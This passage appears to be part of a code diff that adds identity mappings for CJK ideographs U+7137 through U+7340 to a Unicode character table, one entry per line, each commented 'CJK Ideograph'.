+ ["\u7137", "\u7137"], /* CJK Ideograph */
+ ["\u7138", "\u7138"], /* CJK Ideograph */
+ ["\u7139", "\u7139"], /* CJK Ideograph */
+ ["\u713A", "\u713A"], /* CJK Ideograph */
+ ["\u713B", "\u713B"], /* CJK Ideograph */
+ ["\u713C", "\u713C"], /* CJK Ideograph */
+ ["\u713D", "\u713D"], /* CJK Ideograph */
+ ["\u713E", "\u713E"], /* CJK Ideograph */
+ ["\u713F", "\u713F"], /* CJK Ideograph */
+ ["\u7140", "\u7140"], /* CJK Ideograph */
+ ["\u7141", "\u7141"], /* CJK Ideograph */
+ ["\u7142", "\u7142"], /* CJK Ideograph */
+ ["\u7143", "\u7143"], /* CJK Ideograph */
+ ["\u7144", "\u7144"], /* CJK Ideograph */
+ ["\u7145", "\u7145"], /* CJK Ideograph */
+ ["\u7146", "\u7146"], /* CJK Ideograph */
+ ["\u7147", "\u7147"], /* CJK Ideograph */
+ ["\u7148", "\u7148"], /* CJK Ideograph */
+ ["\u7149", "\u7149"], /* CJK Ideograph */
+ ["\u714A", "\u714A"], /* CJK Ideograph */
+ ["\u714B", "\u714B"], /* CJK Ideograph */
+ ["\u714C", "\u714C"], /* CJK Ideograph */
+ ["\u714D", "\u714D"], /* CJK Ideograph */
+ ["\u714E", "\u714E"], /* CJK Ideograph */
+ ["\u714F", "\u714F"], /* CJK Ideograph */
+ ["\u7150", "\u7150"], /* CJK Ideograph */
+ ["\u7151", "\u7151"], /* CJK Ideograph */
+ ["\u7152", "\u7152"], /* CJK Ideograph */
+ ["\u7153", "\u7153"], /* CJK Ideograph */
+ ["\u7154", "\u7154"], /* CJK Ideograph */
+ ["\u7155", "\u7155"], /* CJK Ideograph */
+ ["\u7156", "\u7156"], /* CJK Ideograph */
+ ["\u7157", "\u7157"], /* CJK Ideograph */
+ ["\u7158", "\u7158"], /* CJK Ideograph */
+ ["\u7159", "\u7159"], /* CJK Ideograph */
+ ["\u715A", "\u715A"], /* CJK Ideograph */
+ ["\u715B", "\u715B"], /* CJK Ideograph */
+ ["\u715C", "\u715C"], /* CJK Ideograph */
+ ["\u715D", "\u715D"], /* CJK Ideograph */
+ ["\u715E", "\u715E"], /* CJK Ideograph */
+ ["\u715F", "\u715F"], /* CJK Ideograph */
+ ["\u7160", "\u7160"], /* CJK Ideograph */
+ ["\u7161", "\u7161"], /* CJK Ideograph */
+ ["\u7162", "\u7162"], /* CJK Ideograph */
+ ["\u7163", "\u7163"], /* CJK Ideograph */
+ ["\u7164", "\u7164"], /* CJK Ideograph */
+ ["\u7165", "\u7165"], /* CJK Ideograph */
+ ["\u7166", "\u7166"], /* CJK Ideograph */
+ ["\u7167", "\u7167"], /* CJK Ideograph */
+ ["\u7168", "\u7168"], /* CJK Ideograph */
+ ["\u7169", "\u7169"], /* CJK Ideograph */
+ ["\u716A", "\u716A"], /* CJK Ideograph */
+ ["\u716B", "\u716B"], /* CJK Ideograph */
+ ["\u716C", "\u716C"], /* CJK Ideograph */
+ ["\u716D", "\u716D"], /* CJK Ideograph */
+ ["\u716E", "\u716E"], /* CJK Ideograph */
+ ["\u716F", "\u716F"], /* CJK Ideograph */
+ ["\u7170", "\u7170"], /* CJK Ideograph */
+ ["\u7171", "\u7171"], /* CJK Ideograph */
+ ["\u7172", "\u7172"], /* CJK Ideograph */
+ ["\u7173", "\u7173"], /* CJK Ideograph */
+ ["\u7174", "\u7174"], /* CJK Ideograph */
+ ["\u7175", "\u7175"], /* CJK Ideograph */
+ ["\u7176", "\u7176"], /* CJK Ideograph */
+ ["\u7177", "\u7177"], /* CJK Ideograph */
+ ["\u7178", "\u7178"], /* CJK Ideograph */
+ ["\u7179", "\u7179"], /* CJK Ideograph */
+ ["\u717A", "\u717A"], /* CJK Ideograph */
+ ["\u717B", "\u717B"], /* CJK Ideograph */
+ ["\u717C", "\u717C"], /* CJK Ideograph */
+ ["\u717D", "\u717D"], /* CJK Ideograph */
+ ["\u717E", "\u717E"], /* CJK Ideograph */
+ ["\u717F", "\u717F"], /* CJK Ideograph */
+ ["\u7180", "\u7180"], /* CJK Ideograph */
+ ["\u7181", "\u7181"], /* CJK Ideograph */
+ ["\u7182", "\u7182"], /* CJK Ideograph */
+ ["\u7183", "\u7183"], /* CJK Ideograph */
+ ["\u7184", "\u7184"], /* CJK Ideograph */
+ ["\u7185", "\u7185"], /* CJK Ideograph */
+ ["\u7186", "\u7186"], /* CJK Ideograph */
+ ["\u7187", "\u7187"], /* CJK Ideograph */
+ ["\u7188", "\u7188"], /* CJK Ideograph */
+ ["\u7189", "\u7189"], /* CJK Ideograph */
+ ["\u718A", "\u718A"], /* CJK Ideograph */
+ ["\u718B", "\u718B"], /* CJK Ideograph */
+ ["\u718C", "\u718C"], /* CJK Ideograph */
+ ["\u718D", "\u718D"], /* CJK Ideograph */
+ ["\u718E", "\u718E"], /* CJK Ideograph */
+ ["\u718F", "\u718F"], /* CJK Ideograph */
+ ["\u7190", "\u7190"], /* CJK Ideograph */
+ ["\u7191", "\u7191"], /* CJK Ideograph */
+ ["\u7192", "\u7192"], /* CJK Ideograph */
+ ["\u7193", "\u7193"], /* CJK Ideograph */
+ ["\u7194", "\u7194"], /* CJK Ideograph */
+ ["\u7195", "\u7195"], /* CJK Ideograph */
+ ["\u7196", "\u7196"], /* CJK Ideograph */
+ ["\u7197", "\u7197"], /* CJK Ideograph */
+ ["\u7198", "\u7198"], /* CJK Ideograph */
+ ["\u7199", "\u7199"], /* CJK Ideograph */
+ ["\u719A", "\u719A"], /* CJK Ideograph */
+ ["\u719B", "\u719B"], /* CJK Ideograph */
+ ["\u719C", "\u719C"], /* CJK Ideograph */
+ ["\u719D", "\u719D"], /* CJK Ideograph */
+ ["\u719E", "\u719E"], /* CJK Ideograph */
+ ["\u719F", "\u719F"], /* CJK Ideograph */
+ ["\u71A0", "\u71A0"], /* CJK Ideograph */
+ ["\u71A1", "\u71A1"], /* CJK Ideograph */
+ ["\u71A2", "\u71A2"], /* CJK Ideograph */
+ ["\u71A3", "\u71A3"], /* CJK Ideograph */
+ ["\u71A4", "\u71A4"], /* CJK Ideograph */
+ ["\u71A5", "\u71A5"], /* CJK Ideograph */
+ ["\u71A6", "\u71A6"], /* CJK Ideograph */
+ ["\u71A7", "\u71A7"], /* CJK Ideograph */
+ ["\u71A8", "\u71A8"], /* CJK Ideograph */
+ ["\u71A9", "\u71A9"], /* CJK Ideograph */
+ ["\u71AA", "\u71AA"], /* CJK Ideograph */
+ ["\u71AB", "\u71AB"], /* CJK Ideograph */
+ ["\u71AC", "\u71AC"], /* CJK Ideograph */
+ ["\u71AD", "\u71AD"], /* CJK Ideograph */
+ ["\u71AE", "\u71AE"], /* CJK Ideograph */
+ ["\u71AF", "\u71AF"], /* CJK Ideograph */
+ ["\u71B0", "\u71B0"], /* CJK Ideograph */
+ ["\u71B1", "\u71B1"], /* CJK Ideograph */
+ ["\u71B2", "\u71B2"], /* CJK Ideograph */
+ ["\u71B3", "\u71B3"], /* CJK Ideograph */
+ ["\u71B4", "\u71B4"], /* CJK Ideograph */
+ ["\u71B5", "\u71B5"], /* CJK Ideograph */
+ ["\u71B6", "\u71B6"], /* CJK Ideograph */
+ ["\u71B7", "\u71B7"], /* CJK Ideograph */
+ ["\u71B8", "\u71B8"], /* CJK Ideograph */
+ ["\u71B9", "\u71B9"], /* CJK Ideograph */
+ ["\u71BA", "\u71BA"], /* CJK Ideograph */
+ ["\u71BB", "\u71BB"], /* CJK Ideograph */
+ ["\u71BC", "\u71BC"], /* CJK Ideograph */
+ ["\u71BD", "\u71BD"], /* CJK Ideograph */
+ ["\u71BE", "\u71BE"], /* CJK Ideograph */
+ ["\u71BF", "\u71BF"], /* CJK Ideograph */
+ ["\u71C0", "\u71C0"], /* CJK Ideograph */
+ ["\u71C1", "\u71C1"], /* CJK Ideograph */
+ ["\u71C2", "\u71C2"], /* CJK Ideograph */
+ ["\u71C3", "\u71C3"], /* CJK Ideograph */
+ ["\u71C4", "\u71C4"], /* CJK Ideograph */
+ ["\u71C5", "\u71C5"], /* CJK Ideograph */
+ ["\u71C6", "\u71C6"], /* CJK Ideograph */
+ ["\u71C7", "\u71C7"], /* CJK Ideograph */
+ ["\u71C8", "\u71C8"], /* CJK Ideograph */
+ ["\u71C9", "\u71C9"], /* CJK Ideograph */
+ ["\u71CA", "\u71CA"], /* CJK Ideograph */
+ ["\u71CB", "\u71CB"], /* CJK Ideograph */
+ ["\u71CC", "\u71CC"], /* CJK Ideograph */
+ ["\u71CD", "\u71CD"], /* CJK Ideograph */
+ ["\u71CE", "\u71CE"], /* CJK Ideograph */
+ ["\u71CF", "\u71CF"], /* CJK Ideograph */
+ ["\u71D0", "\u71D0"], /* CJK Ideograph */
+ ["\u71D1", "\u71D1"], /* CJK Ideograph */
+ ["\u71D2", "\u71D2"], /* CJK Ideograph */
+ ["\u71D3", "\u71D3"], /* CJK Ideograph */
+ ["\u71D4", "\u71D4"], /* CJK Ideograph */
+ ["\u71D5", "\u71D5"], /* CJK Ideograph */
+ ["\u71D6", "\u71D6"], /* CJK Ideograph */
+ ["\u71D7", "\u71D7"], /* CJK Ideograph */
+ ["\u71D8", "\u71D8"], /* CJK Ideograph */
+ ["\u71D9", "\u71D9"], /* CJK Ideograph */
+ ["\u71DA", "\u71DA"], /* CJK Ideograph */
+ ["\u71DB", "\u71DB"], /* CJK Ideograph */
+ ["\u71DC", "\u71DC"], /* CJK Ideograph */
+ ["\u71DD", "\u71DD"], /* CJK Ideograph */
+ ["\u71DE", "\u71DE"], /* CJK Ideograph */
+ ["\u71DF", "\u71DF"], /* CJK Ideograph */
+ ["\u71E0", "\u71E0"], /* CJK Ideograph */
+ ["\u71E1", "\u71E1"], /* CJK Ideograph */
+ ["\u71E2", "\u71E2"], /* CJK Ideograph */
+ ["\u71E3", "\u71E3"], /* CJK Ideograph */
+ ["\u71E4", "\u71E4"], /* CJK Ideograph */
+ ["\u71E5", "\u71E5"], /* CJK Ideograph */
+ ["\u71E6", "\u71E6"], /* CJK Ideograph */
+ ["\u71E7", "\u71E7"], /* CJK Ideograph */
+ ["\u71E8", "\u71E8"], /* CJK Ideograph */
+ ["\u71E9", "\u71E9"], /* CJK Ideograph */
+ ["\u71EA", "\u71EA"], /* CJK Ideograph */
+ ["\u71EB", "\u71EB"], /* CJK Ideograph */
+ ["\u71EC", "\u71EC"], /* CJK Ideograph */
+ ["\u71ED", "\u71ED"], /* CJK Ideograph */
+ ["\u71EE", "\u71EE"], /* CJK Ideograph */
+ ["\u71EF", "\u71EF"], /* CJK Ideograph */
+ ["\u71F0", "\u71F0"], /* CJK Ideograph */
+ ["\u71F1", "\u71F1"], /* CJK Ideograph */
+ ["\u71F2", "\u71F2"], /* CJK Ideograph */
+ ["\u71F3", "\u71F3"], /* CJK Ideograph */
+ ["\u71F4", "\u71F4"], /* CJK Ideograph */
+ ["\u71F5", "\u71F5"], /* CJK Ideograph */
+ ["\u71F6", "\u71F6"], /* CJK Ideograph */
+ ["\u71F7", "\u71F7"], /* CJK Ideograph */
+ ["\u71F8", "\u71F8"], /* CJK Ideograph */
+ ["\u71F9", "\u71F9"], /* CJK Ideograph */
+ ["\u71FA", "\u71FA"], /* CJK Ideograph */
+ ["\u71FB", "\u71FB"], /* CJK Ideograph */
+ ["\u71FC", "\u71FC"], /* CJK Ideograph */
+ ["\u71FD", "\u71FD"], /* CJK Ideograph */
+ ["\u71FE", "\u71FE"], /* CJK Ideograph */
+ ["\u71FF", "\u71FF"], /* CJK Ideograph */
+ ["\u7200", "\u7200"], /* CJK Ideograph */
+ ["\u7201", "\u7201"], /* CJK Ideograph */
+ ["\u7202", "\u7202"], /* CJK Ideograph */
+ ["\u7203", "\u7203"], /* CJK Ideograph */
+ ["\u7204", "\u7204"], /* CJK Ideograph */
+ ["\u7205", "\u7205"], /* CJK Ideograph */
+ ["\u7206", "\u7206"], /* CJK Ideograph */
+ ["\u7207", "\u7207"], /* CJK Ideograph */
+ ["\u7208", "\u7208"], /* CJK Ideograph */
+ ["\u7209", "\u7209"], /* CJK Ideograph */
+ ["\u720A", "\u720A"], /* CJK Ideograph */
+ ["\u720B", "\u720B"], /* CJK Ideograph */
+ ["\u720C", "\u720C"], /* CJK Ideograph */
+ ["\u720D", "\u720D"], /* CJK Ideograph */
+ ["\u720E", "\u720E"], /* CJK Ideograph */
+ ["\u720F", "\u720F"], /* CJK Ideograph */
+ ["\u7210", "\u7210"], /* CJK Ideograph */
+ ["\u7211", "\u7211"], /* CJK Ideograph */
+ ["\u7212", "\u7212"], /* CJK Ideograph */
+ ["\u7213", "\u7213"], /* CJK Ideograph */
+ ["\u7214", "\u7214"], /* CJK Ideograph */
+ ["\u7215", "\u7215"], /* CJK Ideograph */
+ ["\u7216", "\u7216"], /* CJK Ideograph */
+ ["\u7217", "\u7217"], /* CJK Ideograph */
+ ["\u7218", "\u7218"], /* CJK Ideograph */
+ ["\u7219", "\u7219"], /* CJK Ideograph */
+ ["\u721A", "\u721A"], /* CJK Ideograph */
+ ["\u721B", "\u721B"], /* CJK Ideograph */
+ ["\u721C", "\u721C"], /* CJK Ideograph */
+ ["\u721D", "\u721D"], /* CJK Ideograph */
+ ["\u721E", "\u721E"], /* CJK Ideograph */
+ ["\u721F", "\u721F"], /* CJK Ideograph */
+ ["\u7220", "\u7220"], /* CJK Ideograph */
+ ["\u7221", "\u7221"], /* CJK Ideograph */
+ ["\u7222", "\u7222"], /* CJK Ideograph */
+ ["\u7223", "\u7223"], /* CJK Ideograph */
+ ["\u7224", "\u7224"], /* CJK Ideograph */
+ ["\u7225", "\u7225"], /* CJK Ideograph */
+ ["\u7226", "\u7226"], /* CJK Ideograph */
+ ["\u7227", "\u7227"], /* CJK Ideograph */
+ ["\u7228", "\u7228"], /* CJK Ideograph */
+ ["\u7229", "\u7229"], /* CJK Ideograph */
+ ["\u722A", "\u722A"], /* CJK Ideograph */
+ ["\u722B", "\u722B"], /* CJK Ideograph */
+ ["\u722C", "\u722C"], /* CJK Ideograph */
+ ["\u722D", "\u722D"], /* CJK Ideograph */
+ ["\u722E", "\u722E"], /* CJK Ideograph */
+ ["\u722F", "\u722F"], /* CJK Ideograph */
+ ["\u7230", "\u7230"], /* CJK Ideograph */
+ ["\u7231", "\u7231"], /* CJK Ideograph */
+ ["\u7232", "\u7232"], /* CJK Ideograph */
+ ["\u7233", "\u7233"], /* CJK Ideograph */
+ ["\u7234", "\u7234"], /* CJK Ideograph */
+ ["\u7235", "\u7235"], /* CJK Ideograph */
+ ["\u7236", "\u7236"], /* CJK Ideograph */
+ ["\u7237", "\u7237"], /* CJK Ideograph */
+ ["\u7238", "\u7238"], /* CJK Ideograph */
+ ["\u7239", "\u7239"], /* CJK Ideograph */
+ ["\u723A", "\u723A"], /* CJK Ideograph */
+ ["\u723B", "\u723B"], /* CJK Ideograph */
+ ["\u723C", "\u723C"], /* CJK Ideograph */
+ ["\u723D", "\u723D"], /* CJK Ideograph */
+ ["\u723E", "\u723E"], /* CJK Ideograph */
+ ["\u723F", "\u723F"], /* CJK Ideograph */
+ ["\u7240", "\u7240"], /* CJK Ideograph */
+ ["\u7241", "\u7241"], /* CJK Ideograph */
+ ["\u7242", "\u7242"], /* CJK Ideograph */
+ ["\u7243", "\u7243"], /* CJK Ideograph */
+ ["\u7244", "\u7244"], /* CJK Ideograph */
+ ["\u7245", "\u7245"], /* CJK Ideograph */
+ ["\u7246", "\u7246"], /* CJK Ideograph */
+ ["\u7247", "\u7247"], /* CJK Ideograph */
+ ["\u7248", "\u7248"], /* CJK Ideograph */
+ ["\u7249", "\u7249"], /* CJK Ideograph */
+ ["\u724A", "\u724A"], /* CJK Ideograph */
+ ["\u724B", "\u724B"], /* CJK Ideograph */
+ ["\u724C", "\u724C"], /* CJK Ideograph */
+ ["\u724D", "\u724D"], /* CJK Ideograph */
+ ["\u724E", "\u724E"], /* CJK Ideograph */
+ ["\u724F", "\u724F"], /* CJK Ideograph */
+ ["\u7250", "\u7250"], /* CJK Ideograph */
+ ["\u7251", "\u7251"], /* CJK Ideograph */
+ ["\u7252", "\u7252"], /* CJK Ideograph */
+ ["\u7253", "\u7253"], /* CJK Ideograph */
+ ["\u7254", "\u7254"], /* CJK Ideograph */
+ ["\u7255", "\u7255"], /* CJK Ideograph */
+ ["\u7256", "\u7256"], /* CJK Ideograph */
+ ["\u7257", "\u7257"], /* CJK Ideograph */
+ ["\u7258", "\u7258"], /* CJK Ideograph */
+ ["\u7259", "\u7259"], /* CJK Ideograph */
+ ["\u725A", "\u725A"], /* CJK Ideograph */
+ ["\u725B", "\u725B"], /* CJK Ideograph */
+ ["\u725C", "\u725C"], /* CJK Ideograph */
+ ["\u725D", "\u725D"], /* CJK Ideograph */
+ ["\u725E", "\u725E"], /* CJK Ideograph */
+ ["\u725F", "\u725F"], /* CJK Ideograph */
+ ["\u7260", "\u7260"], /* CJK Ideograph */
+ ["\u7261", "\u7261"], /* CJK Ideograph */
+ ["\u7262", "\u7262"], /* CJK Ideograph */
+ ["\u7263", "\u7263"], /* CJK Ideograph */
+ ["\u7264", "\u7264"], /* CJK Ideograph */
+ ["\u7265", "\u7265"], /* CJK Ideograph */
+ ["\u7266", "\u7266"], /* CJK Ideograph */
+ ["\u7267", "\u7267"], /* CJK Ideograph */
+ ["\u7268", "\u7268"], /* CJK Ideograph */
+ ["\u7269", "\u7269"], /* CJK Ideograph */
+ ["\u726A", "\u726A"], /* CJK Ideograph */
+ ["\u726B", "\u726B"], /* CJK Ideograph */
+ ["\u726C", "\u726C"], /* CJK Ideograph */
+ ["\u726D", "\u726D"], /* CJK Ideograph */
+ ["\u726E", "\u726E"], /* CJK Ideograph */
+ ["\u726F", "\u726F"], /* CJK Ideograph */
+ ["\u7270", "\u7270"], /* CJK Ideograph */
+ ["\u7271", "\u7271"], /* CJK Ideograph */
+ ["\u7272", "\u7272"], /* CJK Ideograph */
+ ["\u7273", "\u7273"], /* CJK Ideograph */
+ ["\u7274", "\u7274"], /* CJK Ideograph */
+ ["\u7275", "\u7275"], /* CJK Ideograph */
+ ["\u7276", "\u7276"], /* CJK Ideograph */
+ ["\u7277", "\u7277"], /* CJK Ideograph */
+ ["\u7278", "\u7278"], /* CJK Ideograph */
+ ["\u7279", "\u7279"], /* CJK Ideograph */
+ ["\u727A", "\u727A"], /* CJK Ideograph */
+ ["\u727B", "\u727B"], /* CJK Ideograph */
+ ["\u727C", "\u727C"], /* CJK Ideograph */
+ ["\u727D", "\u727D"], /* CJK Ideograph */
+ ["\u727E", "\u727E"], /* CJK Ideograph */
+ ["\u727F", "\u727F"], /* CJK Ideograph */
+ ["\u7280", "\u7280"], /* CJK Ideograph */
+ ["\u7281", "\u7281"], /* CJK Ideograph */
+ ["\u7282", "\u7282"], /* CJK Ideograph */
+ ["\u7283", "\u7283"], /* CJK Ideograph */
+ ["\u7284", "\u7284"], /* CJK Ideograph */
+ ["\u7285", "\u7285"], /* CJK Ideograph */
+ ["\u7286", "\u7286"], /* CJK Ideograph */
+ ["\u7287", "\u7287"], /* CJK Ideograph */
+ ["\u7288", "\u7288"], /* CJK Ideograph */
+ ["\u7289", "\u7289"], /* CJK Ideograph */
+ ["\u728A", "\u728A"], /* CJK Ideograph */
+ ["\u728B", "\u728B"], /* CJK Ideograph */
+ ["\u728C", "\u728C"], /* CJK Ideograph */
+ ["\u728D", "\u728D"], /* CJK Ideograph */
+ ["\u728E", "\u728E"], /* CJK Ideograph */
+ ["\u728F", "\u728F"], /* CJK Ideograph */
+ ["\u7290", "\u7290"], /* CJK Ideograph */
+ ["\u7291", "\u7291"], /* CJK Ideograph */
+ ["\u7292", "\u7292"], /* CJK Ideograph */
+ ["\u7293", "\u7293"], /* CJK Ideograph */
+ ["\u7294", "\u7294"], /* CJK Ideograph */
+ ["\u7295", "\u7295"], /* CJK Ideograph */
+ ["\u7296", "\u7296"], /* CJK Ideograph */
+ ["\u7297", "\u7297"], /* CJK Ideograph */
+ ["\u7298", "\u7298"], /* CJK Ideograph */
+ ["\u7299", "\u7299"], /* CJK Ideograph */
+ ["\u729A", "\u729A"], /* CJK Ideograph */
+ ["\u729B", "\u729B"], /* CJK Ideograph */
+ ["\u729C", "\u729C"], /* CJK Ideograph */
+ ["\u729D", "\u729D"], /* CJK Ideograph */
+ ["\u729E", "\u729E"], /* CJK Ideograph */
+ ["\u729F", "\u729F"], /* CJK Ideograph */
+ ["\u72A0", "\u72A0"], /* CJK Ideograph */
+ ["\u72A1", "\u72A1"], /* CJK Ideograph */
+ ["\u72A2", "\u72A2"], /* CJK Ideograph */
+ ["\u72A3", "\u72A3"], /* CJK Ideograph */
+ ["\u72A4", "\u72A4"], /* CJK Ideograph */
+ ["\u72A5", "\u72A5"], /* CJK Ideograph */
+ ["\u72A6", "\u72A6"], /* CJK Ideograph */
+ ["\u72A7", "\u72A7"], /* CJK Ideograph */
+ ["\u72A8", "\u72A8"], /* CJK Ideograph */
+ ["\u72A9", "\u72A9"], /* CJK Ideograph */
+ ["\u72AA", "\u72AA"], /* CJK Ideograph */
+ ["\u72AB", "\u72AB"], /* CJK Ideograph */
+ ["\u72AC", "\u72AC"], /* CJK Ideograph */
+ ["\u72AD", "\u72AD"], /* CJK Ideograph */
+ ["\u72AE", "\u72AE"], /* CJK Ideograph */
+ ["\u72AF", "\u72AF"], /* CJK Ideograph */
+ ["\u72B0", "\u72B0"], /* CJK Ideograph */
+ ["\u72B1", "\u72B1"], /* CJK Ideograph */
+ ["\u72B2", "\u72B2"], /* CJK Ideograph */
+ ["\u72B3", "\u72B3"], /* CJK Ideograph */
+ ["\u72B4", "\u72B4"], /* CJK Ideograph */
+ ["\u72B5", "\u72B5"], /* CJK Ideograph */
+ ["\u72B6", "\u72B6"], /* CJK Ideograph */
+ ["\u72B7", "\u72B7"], /* CJK Ideograph */
+ ["\u72B8", "\u72B8"], /* CJK Ideograph */
+ ["\u72B9", "\u72B9"], /* CJK Ideograph */
+ ["\u72BA", "\u72BA"], /* CJK Ideograph */
+ ["\u72BB", "\u72BB"], /* CJK Ideograph */
+ ["\u72BC", "\u72BC"], /* CJK Ideograph */
+ ["\u72BD", "\u72BD"], /* CJK Ideograph */
+ ["\u72BE", "\u72BE"], /* CJK Ideograph */
+ ["\u72BF", "\u72BF"], /* CJK Ideograph */
+ ["\u72C0", "\u72C0"], /* CJK Ideograph */
+ ["\u72C1", "\u72C1"], /* CJK Ideograph */
+ ["\u72C2", "\u72C2"], /* CJK Ideograph */
+ ["\u72C3", "\u72C3"], /* CJK Ideograph */
+ ["\u72C4", "\u72C4"], /* CJK Ideograph */
+ ["\u72C5", "\u72C5"], /* CJK Ideograph */
+ ["\u72C6", "\u72C6"], /* CJK Ideograph */
+ ["\u72C7", "\u72C7"], /* CJK Ideograph */
+ ["\u72C8", "\u72C8"], /* CJK Ideograph */
+ ["\u72C9", "\u72C9"], /* CJK Ideograph */
+ ["\u72CA", "\u72CA"], /* CJK Ideograph */
+ ["\u72CB", "\u72CB"], /* CJK Ideograph */
+ ["\u72CC", "\u72CC"], /* CJK Ideograph */
+ ["\u72CD", "\u72CD"], /* CJK Ideograph */
+ ["\u72CE", "\u72CE"], /* CJK Ideograph */
+ ["\u72CF", "\u72CF"], /* CJK Ideograph */
+ ["\u72D0", "\u72D0"], /* CJK Ideograph */
+ ["\u72D1", "\u72D1"], /* CJK Ideograph */
+ ["\u72D2", "\u72D2"], /* CJK Ideograph */
+ ["\u72D3", "\u72D3"], /* CJK Ideograph */
+ ["\u72D4", "\u72D4"], /* CJK Ideograph */
+ ["\u72D5", "\u72D5"], /* CJK Ideograph */
+ ["\u72D6", "\u72D6"], /* CJK Ideograph */
+ ["\u72D7", "\u72D7"], /* CJK Ideograph */
+ ["\u72D8", "\u72D8"], /* CJK Ideograph */
+ ["\u72D9", "\u72D9"], /* CJK Ideograph */
+ ["\u72DA", "\u72DA"], /* CJK Ideograph */
+ ["\u72DB", "\u72DB"], /* CJK Ideograph */
+ ["\u72DC", "\u72DC"], /* CJK Ideograph */
+ ["\u72DD", "\u72DD"], /* CJK Ideograph */
+ ["\u72DE", "\u72DE"], /* CJK Ideograph */
+ ["\u72DF", "\u72DF"], /* CJK Ideograph */
+ ["\u72E0", "\u72E0"], /* CJK Ideograph */
+ ["\u72E1", "\u72E1"], /* CJK Ideograph */
+ ["\u72E2", "\u72E2"], /* CJK Ideograph */
+ ["\u72E3", "\u72E3"], /* CJK Ideograph */
+ ["\u72E4", "\u72E4"], /* CJK Ideograph */
+ ["\u72E5", "\u72E5"], /* CJK Ideograph */
+ ["\u72E6", "\u72E6"], /* CJK Ideograph */
+ ["\u72E7", "\u72E7"], /* CJK Ideograph */
+ ["\u72E8", "\u72E8"], /* CJK Ideograph */
+ ["\u72E9", "\u72E9"], /* CJK Ideograph */
+ ["\u72EA", "\u72EA"], /* CJK Ideograph */
+ ["\u72EB", "\u72EB"], /* CJK Ideograph */
+ ["\u72EC", "\u72EC"], /* CJK Ideograph */
+ ["\u72ED", "\u72ED"], /* CJK Ideograph */
+ ["\u72EE", "\u72EE"], /* CJK Ideograph */
+ ["\u72EF", "\u72EF"], /* CJK Ideograph */
+ ["\u72F0", "\u72F0"], /* CJK Ideograph */
+ ["\u72F1", "\u72F1"], /* CJK Ideograph */
+ ["\u72F2", "\u72F2"], /* CJK Ideograph */
+ ["\u72F3", "\u72F3"], /* CJK Ideograph */
+ ["\u72F4", "\u72F4"], /* CJK Ideograph */
+ ["\u72F5", "\u72F5"], /* CJK Ideograph */
+ ["\u72F6", "\u72F6"], /* CJK Ideograph */
+ ["\u72F7", "\u72F7"], /* CJK Ideograph */
+ ["\u72F8", "\u72F8"], /* CJK Ideograph */
+ ["\u72F9", "\u72F9"], /* CJK Ideograph */
+ ["\u72FA", "\u72FA"], /* CJK Ideograph */
+ ["\u72FB", "\u72FB"], /* CJK Ideograph */
+ ["\u72FC", "\u72FC"], /* CJK Ideograph */
+ ["\u72FD", "\u72FD"], /* CJK Ideograph */
+ ["\u72FE", "\u72FE"], /* CJK Ideograph */
+ ["\u72FF", "\u72FF"], /* CJK Ideograph */
+ ["\u7300", "\u7300"], /* CJK Ideograph */
+ ["\u7301", "\u7301"], /* CJK Ideograph */
+ ["\u7302", "\u7302"], /* CJK Ideograph */
+ ["\u7303", "\u7303"], /* CJK Ideograph */
+ ["\u7304", "\u7304"], /* CJK Ideograph */
+ ["\u7305", "\u7305"], /* CJK Ideograph */
+ ["\u7306", "\u7306"], /* CJK Ideograph */
+ ["\u7307", "\u7307"], /* CJK Ideograph */
+ ["\u7308", "\u7308"], /* CJK Ideograph */
+ ["\u7309", "\u7309"], /* CJK Ideograph */
+ ["\u730A", "\u730A"], /* CJK Ideograph */
+ ["\u730B", "\u730B"], /* CJK Ideograph */
+ ["\u730C", "\u730C"], /* CJK Ideograph */
+ ["\u730D", "\u730D"], /* CJK Ideograph */
+ ["\u730E", "\u730E"], /* CJK Ideograph */
+ ["\u730F", "\u730F"], /* CJK Ideograph */
+ ["\u7310", "\u7310"], /* CJK Ideograph */
+ ["\u7311", "\u7311"], /* CJK Ideograph */
+ ["\u7312", "\u7312"], /* CJK Ideograph */
+ ["\u7313", "\u7313"], /* CJK Ideograph */
+ ["\u7314", "\u7314"], /* CJK Ideograph */
+ ["\u7315", "\u7315"], /* CJK Ideograph */
+ ["\u7316", "\u7316"], /* CJK Ideograph */
+ ["\u7317", "\u7317"], /* CJK Ideograph */
+ ["\u7318", "\u7318"], /* CJK Ideograph */
+ ["\u7319", "\u7319"], /* CJK Ideograph */
+ ["\u731A", "\u731A"], /* CJK Ideograph */
+ ["\u731B", "\u731B"], /* CJK Ideograph */
+ ["\u731C", "\u731C"], /* CJK Ideograph */
+ ["\u731D", "\u731D"], /* CJK Ideograph */
+ ["\u731E", "\u731E"], /* CJK Ideograph */
+ ["\u731F", "\u731F"], /* CJK Ideograph */
+ ["\u7320", "\u7320"], /* CJK Ideograph */
+ ["\u7321", "\u7321"], /* CJK Ideograph */
+ ["\u7322", "\u7322"], /* CJK Ideograph */
+ ["\u7323", "\u7323"], /* CJK Ideograph */
+ ["\u7324", "\u7324"], /* CJK Ideograph */
+ ["\u7325", "\u7325"], /* CJK Ideograph */
+ ["\u7326", "\u7326"], /* CJK Ideograph */
+ ["\u7327", "\u7327"], /* CJK Ideograph */
+ ["\u7328", "\u7328"], /* CJK Ideograph */
+ ["\u7329", "\u7329"], /* CJK Ideograph */
+ ["\u732A", "\u732A"], /* CJK Ideograph */
+ ["\u732B", "\u732B"], /* CJK Ideograph */
+ ["\u732C", "\u732C"], /* CJK Ideograph */
+ ["\u732D", "\u732D"], /* CJK Ideograph */
+ ["\u732E", "\u732E"], /* CJK Ideograph */
+ ["\u732F", "\u732F"], /* CJK Ideograph */
+ ["\u7330", "\u7330"], /* CJK Ideograph */
+ ["\u7331", "\u7331"], /* CJK Ideograph */
+ ["\u7332", "\u7332"], /* CJK Ideograph */
+ ["\u7333", "\u7333"], /* CJK Ideograph */
+ ["\u7334", "\u7334"], /* CJK Ideograph */
+ ["\u7335", "\u7335"], /* CJK Ideograph */
+ ["\u7336", "\u7336"], /* CJK Ideograph */
+ ["\u7337", "\u7337"], /* CJK Ideograph */
+ ["\u7338", "\u7338"], /* CJK Ideograph */
+ ["\u7339", "\u7339"], /* CJK Ideograph */
+ ["\u733A", "\u733A"], /* CJK Ideograph */
+ ["\u733B", "\u733B"], /* CJK Ideograph */
+ ["\u733C", "\u733C"], /* CJK Ideograph */
+ ["\u733D", "\u733D"], /* CJK Ideograph */
+ ["\u733E", "\u733E"], /* CJK Ideograph */
+ ["\u733F", "\u733F"], /* CJK Ideograph */
+ ["\u7340", "\u7340"], /* CJK Ideograph */
